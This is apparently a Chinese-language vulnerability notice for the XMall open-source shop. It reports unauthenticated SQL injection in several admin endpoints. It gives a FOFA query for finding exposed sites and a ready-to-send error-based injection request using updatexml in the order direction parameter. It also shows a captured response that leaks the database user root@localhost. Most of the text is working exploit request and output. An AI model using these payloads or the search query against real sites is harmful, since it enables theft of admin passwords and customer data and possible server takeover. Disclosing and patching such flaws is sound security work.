

漏洞描述：

XMall 开源商城 /item/list、/item/listSearch、/sys/log、/order/list、/member/list、/member/list/remove 等多处接口存在 SQL 注入漏洞，未经身份验证的攻击者可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

网站图片：



网络测绘：

fofa语法：

FOFA: app="XMall-后台管理系统"

漏洞复现：

payload:

```
GET /item/listSearch?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,user(),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_id=1679041197136 HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,or;q=0.7
Connection: close
```

效果图：

查询当前用户

Request

```
1 GET /item/list?draw=1&order%5B0%5D%5Bcolumn%5D=1&order%5B0%5D%5Bdir%5D=desc)a+union+select+updatexml(1,concat(0x7e,user(),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_id=1679041197136 HTTP/1.1
2 Host: your-ip
3 Accept: application/json, text/javascript, */*; q=0.01
4 X-Requested-With: XMLHttpRequest
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36
6 Accept-Encoding: gzip, deflate
7 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,or;q=0.7
8 Connection: close
9
10
```

Responses 10152bytes / 144ms

```
1 HTTP/1.1 200
2 Server: nginx/1.15.2
3 Date: Wed, 14 Feb 2024 17:47:10 GMT
4 Content-Type: application/json; charset=UTF-8
5 Connection: close
6 Content-Length: 10152
7
8 {"success":false,"message":"org.springframework.jdbc.datasource.DataSourceException: Error querying database. Cause: java.sql.SQLException: XPATH syntax error: '~root@localhost~'\\n\\n### The error may exist in the defaultParameterMap\\n\\n### The error may involve defaultParameterMap\\n\\n### SQL: select count(*) from (select count(*) from (select * from tb_item where title like ? or sell_point like ?) order by id desc limit 1) tmp_count\\n\\n### Cause: java.sql.SQLException: XPATH syntax error: '~root@localhost~'\\n\\n### The error may exist in the defaultParameterMap\\n\\n### The error may involve defaultParameterMap\\n\\n### SQL: select count(*) from (select count(*) from (select * from tb_item where title like ? or price like ?) order by id desc) a union select updatexml(1,concat(0x7e,user(),0x7e),1)%23;&start=0&length=1&search%5Bvalue%5D=&search%5Bregex%5D=false&cid=-1&_id=1679041197136 HTTP/1.1
9
10
```